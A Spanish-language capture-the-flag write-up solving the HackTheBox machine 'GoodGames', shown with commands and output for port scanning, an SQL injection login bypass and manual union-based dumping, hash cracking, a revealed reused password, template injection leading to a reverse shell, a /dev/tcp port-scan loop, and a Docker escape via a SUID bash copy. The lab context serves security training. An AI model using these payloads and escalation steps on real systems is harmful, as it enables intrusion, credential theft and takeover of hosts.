¡Hola! Vamos a resolver de la máquina GoodGames
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- SQLI (Error Based)
- Hash Cracking Weak Algorithms
- Password Reuse
- Server Side Template Injection (SSTI)
- Docker Breakout (Privilege Escalation) [PIVOTING]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre GoodGames
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.130
PING 10.10.11.130 (10.10.11.130) 56(84) bytes of data.
64 bytes from 10.10.11.130: icmp_seq=1 ttl=63 time=42.3 ms
--- 10.10.11.130 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
nmap -sCV -p80 10.10.11.130 -oN targeted
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
Agregamos goodgames.htb
a nuestro /etc/hosts
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://goodgames.htb
http://goodgames.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.10.11.130], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]
Examinamos la página web pero no econtramos ninguna funcionalidad salvo un icono que nos abre un panel de login. Tratamos de realizar una inyección SQL pero el campo de correo está con validación con lo que procedemos a interceptar la petición con BurpSuite
y tratar de inyectar el típico test@test.com' or 1=1-- -
En la ventana de la respuesta observamos que nos asignan una cookie de sesión. Redirigimos la petición a la página web y accedemos al perfil de admin
Nos percatamos de un icono de un engranaje el cual nos lleva al dominio internal-administration.goodgames.htb
. Agregamos a nuestro /etc/hosts
y observamos su contenido
No tenemos credenciales pero sabemos que el campo de email del panel de login de la página principal es vulnerable a inyecciones SQL. Vamos a enumerar bases de datos, tablas y columnas de forma manual con BurpSuite. Capturamos la petición de login nuevamente e iniciamos pruebas.
Primero de todo vamos a tratar de aplicar un ordenamiento de los datos por una columna determinada la cual iremos ajustando hasta que la respuesta en el content-Length
sea diferente. Empezamos por 100 donde tenemos una respuesta de 33490 hasta llegar a 4 donde tenemos una respuesta de 9267. Ya sabemos que tiene 4 columnas.
Sabiendo el número exacto procedemos a aplicar una selección con union select
y en la respuesta observamos que nos representa el contenido de la columna 4.
Sustituimos el 4 por la query que nos muestra todas las bases de datos que existen. En este caso vemos dos, information_schema y main
Seguimos enumerando las tablas existentes en la tabla main. Localizamos blog, blog_comment y user
Procedemos a listar columnas de la tabla users. Localizamos id, email, password y name
Finalmente sólo nos queda listar el contenido de las columnas password y name
Obtenemos una password hasheada. Utilizamos la pàgina de crackstation
para revelar la contraseña en texto claro
Volvemos al panel de logi de Flask y con las credenciales obtenidas ganamos acceso.
Explorando el dashboard aparentemente no tiene mucha funcionalidad salvo que nos permite modificar datos nuestro perfil. Probamos modificando el nombre y vemos el output de este campo en pantalla. Probamos con { { 7 x 7 } } a ver si es vulnerable a SSTI
Sabiendo que es vulnerable vamos a la sección de SSTI de PayloadAllTheThings
y buscamos un payload el cual nos debe mostrar si podemos derivar el SSTI a un RCE mostrándonos el output del comando id
Sustituimos el comando id por el onliner de bash para entablar una reverse shell y nos ponemos en escucha por el puerto 443 en nuestro equipo
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.10.11.130] 50558
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend# hostname -I
hostname -I
172.19.0.2
Hemos ganado acceso a la máquina pero observando la IP de la misma nos percatamos de que estamos dentro de un contenedor Docker
Escalada De Privilegios Vía Docker Escape
Enumerando los adaptadores de red observamos que la Ip del contenedor es 172.19.0.2
. Habitualmente Docker asigna la primera dirección de la subred al host. Procedemos a escanear la IP 172.19.0.1
para ver posibles puertos abiertos para un posible movimiento lateral. También localizamos el nombre de un usuario en la carpeta home
llamado augustus
1
2
3
root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open
Localizamos puertos 22 y 80 abiertos. Probamos a conectarnos por ssh con el usuario augustus
y la contraseña anteriormente revelada superadministrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ whoami
augustus
Localizamos la flag de usuario en su directorio personal /home/augustus
1
2
augustus@GoodGames:~$ cat /home/augustus/user.txt
782c233c281f642d7***************
Observando detenidamente el /etc/passwd del contenedor vemos que no hay ningún usuario augustus por lo que deducimos que el deirectorio /home/augustus
es una montura del directorio home del host. Se nos ocurre copiar el binario de bash dentro de la carpeta home de augustus, volver al contenedor donde somos root, asignamos propietario y grupo root a la bash, asignamos privilegios SUID y nos volvemos a conectar al host con augustus por ssh y ya tenemos una bash con privilegio SUID donde podemos acceder a root con el comando bash -p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
augustus@GoodGames:~$ pwd
/home/augustus
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
root@3a453ab39d3d:/backend# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod u+s bash
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1 s password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 25 10:10:24 2022 from 172.19.0.2
augustus@GoodGames:~$ ls
bash user.txt
augustus@GoodGames:~$ ls -la
total 1232
drwxr-xr-x 2 augustus augustus 4096 Nov 25 10:35 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
-rwsr-xr-x 1 root root 1234376 Nov 25 10:35 bash
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r----- 1 augustus augustus 33 Nov 25 08:31 user.txt
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
0e1e68c764891001a***************
Hemos completado la máquina GoodGames de HackTheBox!! Happy Hacking!!